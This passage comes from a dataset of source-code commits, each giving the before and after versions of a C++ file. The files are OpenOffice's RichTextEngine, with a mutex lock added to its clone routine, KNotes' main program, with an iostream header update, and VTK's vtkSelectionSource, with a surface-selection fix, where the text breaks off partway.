\/\/--------------------------------------------------------------------\n    void RichTextEngine::registerEngineStatusListener( IEngineStatusListener* _pListener )\n    {\n        OSL_ENSURE( _pListener, \"RichTextEngine::registerEngineStatusListener: invalid listener!\" );\n        if ( _pListener )\n            m_aStatusListeners.push_back( _pListener );\n    }\n\n    \/\/--------------------------------------------------------------------\n    void RichTextEngine::revokeEngineStatusListener( IEngineStatusListener* _pListener )\n    {\n        ::std::vector< IEngineStatusListener* >::iterator aPos = ::std::find_if(\n            m_aStatusListeners.begin(),\n            m_aStatusListeners.end(),\n            ::std::bind2nd( ::std::equal_to< IEngineStatusListener* >( ), _pListener )\n        );\n        OSL_ENSURE( aPos != m_aStatusListeners.end(), \"RichTextEngine::revokeEngineStatusListener: listener not registered!\" );\n        if ( aPos != m_aStatusListeners.end() )\n            m_aStatusListeners.erase( aPos );\n    }\n\n    \/\/--------------------------------------------------------------------\n    IMPL_LINK( RichTextEngine, EditEngineStatusChanged, EditStatus*, _pStatus )\n    {\n        for ( ::std::vector< IEngineStatusListener* >::const_iterator aLoop = m_aStatusListeners.begin();\n              aLoop != m_aStatusListeners.end();\n              ++aLoop\n            )\n            (*aLoop)->EditEngineStatusChanged( *_pStatus );\n        return 0L;\n    }\n\n\/\/........................................................................\n}   \/\/ namespace frm\n\/\/........................................................................\n\n<commit_msg>INTEGRATION: CWS dba24c (1.6.24); FILE MERGED 2007\/10\/03 12:22:24 fs 1.6.24.1: during #i82169#: Clone: do the EditEngine cloning with a locked SolarMutex, else we'll crash soon<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: richtextengine.cxx,v $\n *\n *  $Revision: 1.7 $\n *\n *  last change: $Author: ihi $ $Date: 2007-11-21 16:35:42 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_forms.hxx\"\n\n#ifndef FORMS_SOURCE_RICHTEXT_RICHTEXTENGINE_HXX\n#include \"richtextengine.hxx\"\n#endif\n\n#ifndef _SFXITEMPOOL_HXX\n#include <svtools\/itempool.hxx>\n#endif\n\n#ifndef _EEITEM_HXX\n#include <svx\/eeitem.hxx>\n#endif\n#ifndef _EDITOBJ_HXX\n#include <svx\/editobj.hxx>\n#endif\n#define ITEMID_FONTHEIGHT   EE_CHAR_FONTHEIGHT\n#ifndef _SVX_FHGTITEM_HXX\n#include <svx\/fhgtitem.hxx>\n#endif\n#define ITEMID_FONT         EE_CHAR_FONTHEIGHT\n#ifndef _SVX_FONTITEM_HXX\n#include <svx\/fontitem.hxx>\n#endif\n#define ITEMID_LANGUAGE     EE_CHAR_LANGUAGE\n#ifndef _SVX_LANGITEM_HXX\n#include <svx\/langitem.hxx>\n#endif\n\n#ifndef _SV_SVAPP_HXX\n#include <vcl\/svapp.hxx>\n#endif\n#ifndef _VCL_MAPUNIT_HXX\n#include <vcl\/mapunit.hxx>\n#endif\n#ifndef _SV_MAPMOD_HXX\n#include <vcl\/mapmod.hxx>\n#endif\n#ifndef _SV_OUTDEV_HXX\n#include <vcl\/outdev.hxx>\n#endif\n\n#ifndef _SVTOOLS_LINGUCFG_HXX_\n#include <svtools\/lingucfg.hxx>\n#endif\n#ifndef _UNDO_HXX\n#include <svtools\/undo.hxx>\n#endif\n#ifndef _VOS_MUTEX_HXX_\n#include <vos\/mutex.hxx>\n#endif\n\n#include <algorithm>\n#include <functional>\n\n\/\/........................................................................\nnamespace frm\n{\n\/\/........................................................................\n\n    \/\/====================================================================\n    \/\/= RichTextEngine\n    \/\/====================================================================\n    \/\/--------------------------------------------------------------------\n    RichTextEngine* RichTextEngine::Create()\n    {\n        SfxItemPool* pPool = EditEngine::CreatePool();\n        pPool->FreezeIdRanges();\n\n        RichTextEngine* pReturn = new RichTextEngine( pPool );\n        OutputDevice* pOutputDevice = pReturn->GetRefDevice();\n        MapMode aDeviceMapMode( pOutputDevice->GetMapMode() );\n\n        pReturn->SetStatusEventHdl( LINK( pReturn, RichTextEngine, EditEngineStatusChanged ) );\n\n        pPool->SetDefaultMetric(  (SfxMapUnit)( aDeviceMapMode.GetMapUnit() ) );\n\n        \/\/ defaults\n        Font aFont = Application::GetSettings().GetStyleSettings().GetAppFont();\n        aFont.SetName( String( RTL_CONSTASCII_USTRINGPARAM( \"Times New Roman\" ) ) );\n        pPool->SetPoolDefaultItem( SvxFontItem( aFont.GetFamily(), aFont.GetName(), String(), aFont.GetPitch(), aFont.GetCharSet(), EE_CHAR_FONTINFO ) );\n\n        \/\/ 12 pt font size\n        MapMode aPointMapMode( MAP_POINT );\n        Size a12PointSize( OutputDevice::LogicToLogic( Size( 12, 0 ), aPointMapMode, aDeviceMapMode ) );\n        pPool->SetPoolDefaultItem( SvxFontHeightItem( a12PointSize.Width(), 100, EE_CHAR_FONTHEIGHT ) );\n\n        \/\/ font languages\n        SvtLinguOptions aLinguOpt;\n        pPool->SetPoolDefaultItem( SvxLanguageItem( aLinguOpt.nDefaultLanguage, EE_CHAR_LANGUAGE ) );\n        pPool->SetPoolDefaultItem( SvxLanguageItem( aLinguOpt.nDefaultLanguage_CJK, EE_CHAR_LANGUAGE_CJK ) );\n        pPool->SetPoolDefaultItem( SvxLanguageItem( aLinguOpt.nDefaultLanguage_CTL, EE_CHAR_LANGUAGE_CTL ) );\n\n        return pReturn;\n    }\n\n    \/\/--------------------------------------------------------------------\n    RichTextEngine* RichTextEngine::Clone()\n    {\n        RichTextEngine* pClone( NULL );\n        {\n            ::vos::OGuard aGuard( Application::GetSolarMutex() );\n            EditTextObject* pMyText = CreateTextObject();\n            OSL_ENSURE( pMyText, \"RichTextEngine::Clone: CreateTextObject returned nonsense!\" );\n\n            pClone = Create();\n\n            if ( pMyText )\n                pClone->SetText( *pMyText );\n            delete pMyText;\n        }\n\n        return pClone;\n    }\n\n    DBG_NAME(RichTextEngine)\n    \/\/--------------------------------------------------------------------\n    RichTextEngine::RichTextEngine( SfxItemPool* _pPool )\n        :EditEngine( _pPool )\n        ,m_pEnginePool( _pPool )\n    {\n        DBG_CTOR(RichTextEngine,NULL);\n    }\n\n    \/\/--------------------------------------------------------------------\n    RichTextEngine::~RichTextEngine( )\n    {\n        \/\/delete m_pEnginePool; \/\/ must be done after the RichTextEngine was deleted\n        DBG_DTOR(RichTextEngine,NULL);\n    }\n\n    \/\/--------------------------------------------------------------------\n    void RichTextEngine::registerEngineStatusListener( IEngineStatusListener* _pListener )\n    {\n        OSL_ENSURE( _pListener, \"RichTextEngine::registerEngineStatusListener: invalid listener!\" );\n        if ( _pListener )\n            m_aStatusListeners.push_back( _pListener );\n    }\n\n    \/\/--------------------------------------------------------------------\n    void RichTextEngine::revokeEngineStatusListener( IEngineStatusListener* _pListener )\n    {\n        ::std::vector< IEngineStatusListener* >::iterator aPos = ::std::find_if(\n            m_aStatusListeners.begin(),\n            m_aStatusListeners.end(),\n            ::std::bind2nd( ::std::equal_to< IEngineStatusListener* >( ), _pListener )\n        );\n        OSL_ENSURE( aPos != m_aStatusListeners.end(), \"RichTextEngine::revokeEngineStatusListener: listener not registered!\" );\n        if ( aPos != m_aStatusListeners.end() )\n            m_aStatusListeners.erase( aPos );\n    }\n\n    \/\/--------------------------------------------------------------------\n    IMPL_LINK( RichTextEngine, EditEngineStatusChanged, EditStatus*, _pStatus )\n    {\n        for ( ::std::vector< IEngineStatusListener* >::const_iterator aLoop = m_aStatusListeners.begin();\n              aLoop != m_aStatusListeners.end();\n              ++aLoop\n            )\n            (*aLoop)->EditEngineStatusChanged( *_pStatus );\n        return 0L;\n    }\n\n\/\/........................................................................\n}   \/\/ namespace frm\n\/\/........................................................................\n\n<|endoftext|>"}
{"text":"<commit_before>\/*******************************************************************\n KNotes -- Notes for the KDE project\n\n Copyright (c) 1997-2001, The KNotes Developers\n\n This program is free software; you can redistribute it and\/or\n modify it under the terms of the GNU General Public License\n as published by the Free Software Foundation; either version 2\n of the License, or (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n*******************************************************************\/\n\n#include <kuniqueapplication.h>\n#include <kcmdlineargs.h>\n#include <kaboutdata.h>\n#include <klocale.h>\n\n#include <iostream.h>\n\n#include \"knotesapp.h\"\n#include \"version.h\"\n\n\nint main( int argc, char* argv[] )\n{\n    KAboutData aboutData( \"knotes\", I18N_NOOP(\"KNotes\"),\n        I18N_NOOP( KNOTES_VERSION ), I18N_NOOP( \"KDE Notes\" ), KAboutData::License_GPL,\n        I18N_NOOP(\"(c) 1997-2001, The KNotes Developers\") );\n\n    aboutData.addAuthor(\"Michael Brade\", I18N_NOOP(\"Maintainer\"), \"brade@kde.org\");\n    aboutData.addAuthor(\"Bernd Johannes Wuebben\", I18N_NOOP(\"Original KNotes Author\"), \"wuebben@kde.org\");\n    aboutData.addAuthor(\"Wynn Wilkes\", I18N_NOOP(\"Ported KNotes to KDE 2\"), \"wynnw@calderasystems.com\");\n    aboutData.addAuthor(\"Matthias Ettrich\",0, \"ettrich@kde.org\");\n    aboutData.addAuthor(\"Didier Belot\",0, \"dib@avo.fr\");\n    aboutData.addAuthor(\"Harri Porten\",0, \"porten@kde.org\");\n    aboutData.addAuthor(\"David Faure\",0, \"faure@kde.org\");\n    aboutData.addAuthor(\"Dirk A. Mueller\",0, \"dmuell@gmx.net\");\n    aboutData.addAuthor(\"Petter Reinholdtsen\",0, \"pere@td.org.uit.no\");\n    aboutData.addAuthor(\"Carsten Pfeiffer\",0, \"pfeiffer@kde.org\");\n    aboutData.addAuthor(\"Espen Sand\",0, \"espen@kde.org\");\n\n    KCmdLineArgs::init( argc, argv, &aboutData );\n\n    KUniqueApplication::addCmdLineOptions();\n\n    \/\/ Check if unique application is already running...\n    if ( !KUniqueApplication::start() )\n    {\n        cerr << \"KNotes is already running, exiting...\" << endl;\n        return 1;\n    }\n    KUniqueApplication app;\n\n    KNotesApp* a = new KNotesApp();\n\n    app.connect( &app, SIGNAL( lastWindowClosed() ), &app, SLOT( quit() ) );\n\n    a->show();\n\n    int rval = app.exec();\n    delete a;\n\n    return rval;\n}\n<commit_msg>s\/iostream.h\/iostream\/g<commit_after>\/*******************************************************************\n KNotes -- Notes for the KDE project\n\n Copyright (c) 1997-2001, The KNotes Developers\n\n This program is free software; you can redistribute it and\/or\n modify it under the terms of the GNU General Public License\n as published by the Free Software Foundation; either version 2\n of the License, or (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n*******************************************************************\/\n\n#include <kuniqueapplication.h>\n#include <kcmdlineargs.h>\n#include <kaboutdata.h>\n#include <klocale.h>\n\n#include <iostream>\n\n#include \"knotesapp.h\"\n#include \"version.h\"\n\n\nint main( int argc, char* argv[] )\n{\n    KAboutData aboutData( \"knotes\", I18N_NOOP(\"KNotes\"),\n        I18N_NOOP( KNOTES_VERSION ), I18N_NOOP( \"KDE Notes\" ), KAboutData::License_GPL,\n        I18N_NOOP(\"(c) 1997-2001, The KNotes Developers\") );\n\n    aboutData.addAuthor(\"Michael Brade\", I18N_NOOP(\"Maintainer\"), \"brade@kde.org\");\n    aboutData.addAuthor(\"Bernd Johannes Wuebben\", I18N_NOOP(\"Original KNotes Author\"), \"wuebben@kde.org\");\n    aboutData.addAuthor(\"Wynn Wilkes\", I18N_NOOP(\"Ported KNotes to KDE 2\"), \"wynnw@calderasystems.com\");\n    aboutData.addAuthor(\"Matthias Ettrich\",0, \"ettrich@kde.org\");\n    aboutData.addAuthor(\"Didier Belot\",0, \"dib@avo.fr\");\n    aboutData.addAuthor(\"Harri Porten\",0, \"porten@kde.org\");\n    aboutData.addAuthor(\"David Faure\",0, \"faure@kde.org\");\n    aboutData.addAuthor(\"Dirk A. Mueller\",0, \"dmuell@gmx.net\");\n    aboutData.addAuthor(\"Petter Reinholdtsen\",0, \"pere@td.org.uit.no\");\n    aboutData.addAuthor(\"Carsten Pfeiffer\",0, \"pfeiffer@kde.org\");\n    aboutData.addAuthor(\"Espen Sand\",0, \"espen@kde.org\");\n\n    KCmdLineArgs::init( argc, argv, &aboutData );\n\n    KUniqueApplication::addCmdLineOptions();\n\n    \/\/ Check if unique application is already running...\n    if ( !KUniqueApplication::start() )\n    {\n        cerr << \"KNotes is already running, exiting...\" << endl;\n        return 1;\n    }\n    KUniqueApplication app;\n\n    KNotesApp* a = new KNotesApp();\n\n    app.connect( &app, SIGNAL( lastWindowClosed() ), &app, SLOT( quit() ) );\n\n    a->show();\n\n    int rval = app.exec();\n    delete a;\n\n    return rval;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkSelectionSource.cxx\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n#include \"vtkSelectionSource.h\"\n\n#include \"vtkCommand.h\"\n#include \"vtkIdTypeArray.h\"\n#include \"vtkDoubleArray.h\"\n#include \"vtkInformation.h\"\n#include \"vtkInformationVector.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkSelection.h\"\n#include \"vtkStreamingDemandDrivenPipeline.h\"\n#include \"vtkTrivialProducer.h\"\n\n#include \"vtkstd\/vector\"\n#include \"vtkstd\/set\"\n\nvtkCxxRevisionMacro(vtkSelectionSource, \"1.9\");\nvtkStandardNewMacro(vtkSelectionSource);\n\nclass vtkSelectionSourceInternals\n{\npublic:\n  vtkSelectionSourceInternals()\n    {\n    this->Values = NULL;\n    }\n  \n  ~vtkSelectionSourceInternals()\n    {\n    if (this->Values)\n      {\n      this->Values->Delete();\n      }\n    }\n  \n  typedef vtkstd::set<vtkIdType> IDSetType;\n  typedef vtkstd::vector<IDSetType> IDsType;\n  IDsType IDs;\n  \n  vtkAbstractArray *Values;\n};\n\n\/\/----------------------------------------------------------------------------\nvtkSelectionSource::vtkSelectionSource()\n{\n  this->SetNumberOfInputPorts(0);\n  this->Internal = new vtkSelectionSourceInternals;\n  \n  this->ContentType = vtkSelection::INDICES;\n  this->FieldType = vtkSelection::CELL;\n}\n\n\/\/----------------------------------------------------------------------------\nvtkSelectionSource::~vtkSelectionSource()\n{\n  delete this->Internal;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkSelectionSource::RemoveAllIDs()\n{\n  this->Internal->IDs.clear();\n  this->Modified();\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkSelectionSource::RemoveAllValues()\n{\n  if (this->Internal->Values)\n    {\n    this->Internal->Values->Reset();\n    this->Modified();\n    }\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkSelectionSource::AddID(vtkIdType proc, vtkIdType id)\n{\n  if (this->ContentType != vtkSelection::GLOBALIDS &&\n      this->ContentType != vtkSelection::INDICES)\n    {\n    return;\n    }\n  \n  \/\/ proc == -1 means all processes. All other are stored at index proc+1\n  proc++;\n\n  if (proc >= (vtkIdType)this->Internal->IDs.size())\n    {\n    this->Internal->IDs.resize(proc+1);\n    }\n  vtkSelectionSourceInternals::IDSetType& idSet = this->Internal->IDs[proc];\n  idSet.insert(id);\n  this->Modified();\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkSelectionSource::AddLocation(double x, double y, double z)\n{\n  if (this->ContentType != vtkSelection::LOCATIONS)\n    {\n    this->SetContentType(vtkSelection::LOCATIONS);\n    }\n\n  vtkDoubleArray *da = vtkDoubleArray::SafeDownCast(this->Internal->Values);\n  if (da)\n    {\n    da->InsertNextTuple3(x,y,z);\n    this->Modified();\n    }\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkSelectionSource::AddThreshold(double min, double max)\n{\n  if (this->ContentType != vtkSelection::THRESHOLDS)\n    {\n    this->SetContentType(vtkSelection::THRESHOLDS);\n    }\n\n  vtkDoubleArray *da = vtkDoubleArray::SafeDownCast(this->Internal->Values);\n  if (da)\n    {\n    da->InsertNextValue(min);\n    da->InsertNextValue(max);\n    this->Modified();\n    }\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkSelectionSource::SetFrustum(double *vertices)\n{\n  if (this->ContentType != vtkSelection::FRUSTUM)\n    {\n    this->SetContentType(vtkSelection::FRUSTUM);\n    }\n\n  vtkDoubleArray *da = vtkDoubleArray::SafeDownCast(this->Internal->Values);\n  if (da)\n    {\n    double *data = da->GetPointer(0);\n    memcpy(data, vertices, 32*sizeof(double));\n    this->Modified();\n    }\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkSelectionSource::PrintSelf(ostream& os, vtkIndent indent)\n{\n  this->Superclass::PrintSelf(os, indent);\n  os << indent << \"ContentType: \" ;\n  switch (this->ContentType)\n    {\n  case vtkSelection::SELECTIONS:\n    os << \"SELECTIONS\";\n    break;\n  case vtkSelection::COMPOSITE_SELECTIONS:\n    os << \"COMPOSITE_SELECTIONS\";\n    break;\n  case vtkSelection::GLOBALIDS:\n    os << \"GLOBALIDS\";\n    break;\n  case vtkSelection::VALUES:\n    os << \"VALUES\";\n    break;\n  case vtkSelection::INDICES:\n    os << \"INDICES\";\n    break;\n  case vtkSelection::FRUSTUM:\n    os << \"FRUSTUM\";\n    break;\n  case vtkSelection::LOCATIONS:\n    os << \"LOCATIONS\";\n    break;\n  case vtkSelection::THRESHOLDS:\n    os << \"THRESHOLDS\";\n    break;\n  default:\n    os << \"UNKNOWN\";\n    }\n  os << endl;\n\n  os << indent << \"FieldType: \" ;\n  switch (this->FieldType)\n    {\n  case vtkSelection::CELL:\n    os << \"CELL\";\n    break;\n  case vtkSelection::POINT:\n    os << \"POINT\";\n    break;\n  default:\n    os << \"UNKNOWN\";\n    }\n  os << endl;\n}\n\n\/\/----------------------------------------------------------------------------\nint vtkSelectionSource::RequestInformation(\n  vtkInformation* vtkNotUsed(request),\n  vtkInformationVector** vtkNotUsed(inputVector),\n  vtkInformationVector* outputVector)\n{\n  \/\/ We can handle multiple piece request.\n  vtkInformation* info = outputVector->GetInformationObject(0);\n  info->Set(\n    vtkStreamingDemandDrivenPipeline::MAXIMUM_NUMBER_OF_PIECES(), -1);\n\n  return 1;\n}\n\n\/\/----------------------------------------------------------------------------\nint vtkSelectionSource::RequestData(\n  vtkInformation* vtkNotUsed( request ),\n  vtkInformationVector** vtkNotUsed( inputVector ),\n  vtkInformationVector* outputVector )\n{\n  vtkSelection* output = vtkSelection::GetData(outputVector);\n\n  vtkInformation* outInfo = outputVector->GetInformationObject(0);\n  int piece = 0;\n  if (outInfo->Has(\n        vtkStreamingDemandDrivenPipeline::UPDATE_PIECE_NUMBER()))\n    {\n    piece = outInfo->Get(\n      vtkStreamingDemandDrivenPipeline::UPDATE_PIECE_NUMBER());\n    }\n\n  if (\n    (this->ContentType == vtkSelection::GLOBALIDS) ||\n    (this->ContentType == vtkSelection::INDICES))\n    {    \n    \n    \/\/ Number of selected items common to all pieces\n    vtkIdType numCommonElems = 0;\n    if (!this->Internal->IDs.empty())\n      {\n      numCommonElems = this->Internal->IDs[0].size();\n      }\n    if (piece+1 >= (int)this->Internal->IDs.size() &&\n        numCommonElems == 0)\n      {\n      vtkDebugMacro(\"No selection for piece: \" << piece);\n      return 1;\n      }\n    \n    \/\/ idx == 0 is the list for all pieces\n    \/\/ idx == piece+1 is the list for the current piece\n    size_t pids[2] = {0, piece+1};\n    for(int i=0; i<2; i++)\n      {\n      size_t idx = pids[i];\n      if (idx >= this->Internal->IDs.size())\n        {\n        continue;\n        }\n      \n      vtkSelectionSourceInternals::IDSetType& selSet =\n        this->Internal->IDs[idx];\n      \n      if (selSet.size() > 0)\n        {\n        output->GetProperties()->Set(vtkSelection::CONTENT_TYPE(), \n                                     this->ContentType);\n        output->GetProperties()->Set(vtkSelection::FIELD_TYPE(),\n                                     this->FieldType);\n        \/\/ Create the selection list\n        vtkIdTypeArray* selectionList = vtkIdTypeArray::New();\n        selectionList->SetNumberOfTuples(selSet.size());\n        \/\/ iterate over ids and insert to the selection list\n        vtkSelectionSourceInternals::IDSetType::iterator iter =\n          selSet.begin();\n        for (vtkIdType idx2=0; iter != selSet.end(); iter++, idx2++)\n          {\n          selectionList->SetValue(idx2, *iter);\n          }\n        output->SetSelectionList(selectionList);\n        selectionList->Delete();\n        }\n      }\n    }\n  \n  if (\n    (this->ContentType == vtkSelection::LOCATIONS)\n    &&\n    (this->Internal->Values != 0)\n    )\n    {\n    output->GetProperties()->Set(vtkSelection::CONTENT_TYPE(), \n                                 this->ContentType);\n    output->GetProperties()->Set(vtkSelection::FIELD_TYPE(),\n                                 this->FieldType);\n    \/\/ Create the selection list\n    vtkAbstractArray* selectionList = this->Internal->Values->NewInstance();\n    selectionList->DeepCopy(this->Internal->Values);\n    output->SetSelectionList(selectionList);\n    selectionList->Delete();    \n    }\n\n  if (\n    (this->ContentType == vtkSelection::THRESHOLDS)\n    &&\n    (this->Internal->Values != 0)\n    )\n    {\n    output->GetProperties()->Set(vtkSelection::CONTENT_TYPE(), \n                                 this->ContentType);\n    output->GetProperties()->Set(vtkSelection::FIELD_TYPE(),\n                                 this->FieldType);\n    \/\/ Create the selection list\n    vtkAbstractArray* selectionList = this->Internal->Values->NewInstance();\n    selectionList->DeepCopy(this->Internal->Values);\n    output->SetSelectionList(selectionList);\n    selectionList->Delete();    \n    }\n\n  if (\n    (this->ContentType == vtkSelection::FRUSTUM)\n    &&\n    (this->Internal->Values != 0)\n    )\n    {\n    output->GetProperties()->Set(vtkSelection::CONTENT_TYPE(), \n                                 this->ContentType);\n    output->GetProperties()->Set(vtkSelection::FIELD_TYPE(),\n                                 this->FieldType);\n    \/\/ Create the selection list\n    vtkAbstractArray* selectionList = this->Internal->Values->NewInstance();\n    selectionList->DeepCopy(this->Internal->Values);\n    output->SetSelectionList(selectionList);\n    selectionList->Delete();    \n    }\n  \n  return 1;\n}\n\n\/\/------------------------------------------------------------------------------\nvoid vtkSelectionSource::SetContentType(int value)\n{\n  vtkDebugMacro(<< this->GetClassName() << \" (\" << this << \"): setting ContentType to \" << value);\n  if (this->ContentType != value)\n    {\n    this->ContentType = value;\n    this->RemoveAllIDs();\n    this->RemoveAllValues();\n    if (this->Internal->Values)\n      {\n      this->Internal->Values->Delete();\n      }\n    switch (value)\n      {\n      case vtkSelection::LOCATIONS:\n        {\n        vtkDoubleArray *da = vtkDoubleArray::New();\n        da->SetNumberOfComponents(3);\n        da->SetNumberOfTuples(0);\n        this->Internal->Values = da;\n        break;\n        }\n      case vtkSelection::THRESHOLDS:\n        {\n        vtkDoubleArray *da = vtkDoubleArray::New();\n        da->SetNumberOfComponents(1);\n        da->SetNumberOfTuples(0);\n        this->Internal->Values = da;\n        break;\n        }\n      case vtkSelection::FRUSTUM:\n        {\n        vtkDoubleArray *da = vtkDoubleArray::New();\n        da->SetNumberOfComponents(4);\n        da->SetNumberOfTuples(8);\n        this->Internal->Values = da;\n        break;\n        }\n      default:\n        break;\n      }\n    this->Modified();\n    }\n}\n<commit_msg>BUG: Fix surface selection<commit_after>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkSelectionSource.cxx\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n#include \"vtkSelectionSource.h\"\n\n#include \"vtkCommand.h\"\n#include \"vtkIdTypeArray.h\"\n#include \"vtkDoubleArray.h\"\n#include \"vtkInformation.h\"\n#include \"vtkInformationVector.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkSelection.h\"\n#include \"vtkStreamingDemandDrivenPipeline.h\"\n#include \"vtkTrivialProducer.h\"\n\n#include \"vtkstd\/vector\"\n#include \"vtkstd\/set\"\n\nvtkCxxRevisionMacro(vtkSelectionSource, \"1.10\");\nvtkStandardNewMacro(vtkSelectionSource);\n\nclass vtkSelectionSourceInternals\n{\npublic:\n  vtkSelectionSourceInternals()\n    {\n    this->Values = NULL;\n    }\n  \n  ~vtkSelectionSourceInternals()\n    {\n    if (this->Values)\n      {\n      this->Values->Delete();\n      }\n    }\n  \n  typedef vtkstd::set<vtkIdType> IDSetType;\n  typedef vtkstd::vector<IDSetType> IDsType;\n  IDsType IDs;\n  \n  vtkAbstractArray *Values;\n};\n\n\/\/----------------------------------------------------------------------------\nvtkSelectionSource::vtkSelectionSource()\n{\n  this->SetNumberOfInputPorts(0);\n  this->Internal = new vtkSelectionSourceInternals;\n  \n  this->ContentType = vtkSelection::INDICES;\n  this->FieldType = vtkSelection::CELL;\n}\n\n\/\/----------------------------------------------------------------------------\nvtkSelectionSource::~vtkSelectionSource()\n{\n  delete this->Internal;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkSelectionSource::RemoveAllIDs()\n{\n  this->Internal->IDs.clear();\n  this->Modified();\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkSelectionSource::RemoveAllValues()\n{\n  if (this->Internal->Values)\n    {\n    this->Internal->Values->Reset();\n    this->Modified();\n    }\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkSelectionSource::AddID(vtkIdType proc, vtkIdType id)\n{\n  if (this->ContentType != vtkSelection::GLOBALIDS &&\n      this->ContentType != vtkSelection::INDICES)\n    {\n    return;\n    }\n  \n  \/\/ proc == -1 means all processes. All other are stored at index proc+1\n  proc++;\n\n  if (proc >= (vtkIdType)this->Internal->IDs.size())\n    {\n    this->Internal->IDs.resize(proc+1);\n    }\n  vtkSelectionSourceInternals::IDSetType& idSet = this->Internal->IDs[proc];\n  idSet.insert(id);\n  this->Modified();\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkSelectionSource::AddLocation(double x, double y, double z)\n{\n  if (this->ContentType != vtkSelection::LOCATIONS)\n    {\n    return;\n    }\n\n  vtkDoubleArray *da = vtkDoubleArray::SafeDownCast(this->Internal->Values);\n  if (da)\n    {\n    da->InsertNextTuple3(x,y,z);\n    this->Modified();\n    }\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkSelectionSource::AddThreshold(double min, double max)\n{\n  if (this->ContentType != vtkSelection::THRESHOLDS)\n    {\n    return;\n    }\n\n  vtkDoubleArray *da = vtkDoubleArray::SafeDownCast(this->Internal->Values);\n  if (da)\n    {\n    da->InsertNextValue(min);\n    da->InsertNextValue(max);\n    this->Modified();\n    }\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkSelectionSource::SetFrustum(double *vertices)\n{\n  if (this->ContentType != vtkSelection::FRUSTUM)\n    {\n    return;\n    }\n\n  vtkDoubleArray *da = vtkDoubleArray::SafeDownCast(this->Internal->Values);\n  if (da)\n    {\n    double *data = da->GetPointer(0);\n    memcpy(data, vertices, 32*sizeof(double));\n    this->Modified();\n    }\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkSelectionSource::PrintSelf(ostream& os, vtkIndent indent)\n{\n  this->Superclass::PrintSelf(os, indent);\n  os << indent << \"ContentType: \" ;\n  switch (this->ContentType)\n    {\n  case vtkSelection::SELECTIONS:\n    os << \"SELECTIONS\";\n    break;\n  case vtkSelection::COMPOSITE_SELECTIONS:\n    os << \"COMPOSITE_SELECTIONS\";\n    break;\n  case vtkSelection::GLOBALIDS:\n    os << \"GLOBALIDS\";\n    break;\n  case vtkSelection::VALUES:\n    os << \"VALUES\";\n    break;\n  case vtkSelection::INDICES:\n    os << \"INDICES\";\n    break;\n  case vtkSelection::FRUSTUM:\n    os << \"FRUSTUM\";\n    break;\n  case vtkSelection::LOCATIONS:\n    os << \"LOCATIONS\";\n    break;\n  case vtkSelection::THRESHOLDS:\n    os << \"THRESHOLDS\";\n    break;\n  default:\n    os << \"UNKNOWN\";\n    }\n  os << endl;\n\n  os << indent << \"FieldType: \" ;\n  switch (this->FieldType)\n    {\n  case vtkSelection::CELL:\n    os << \"CELL\";\n    break;\n  case vtkSelection::POINT:\n    os << \"POINT\";\n    break;\n  default:\n    os << \"UNKNOWN\";\n    }\n  os << endl;\n}\n\n\/\/----------------------------------------------------------------------------\nint 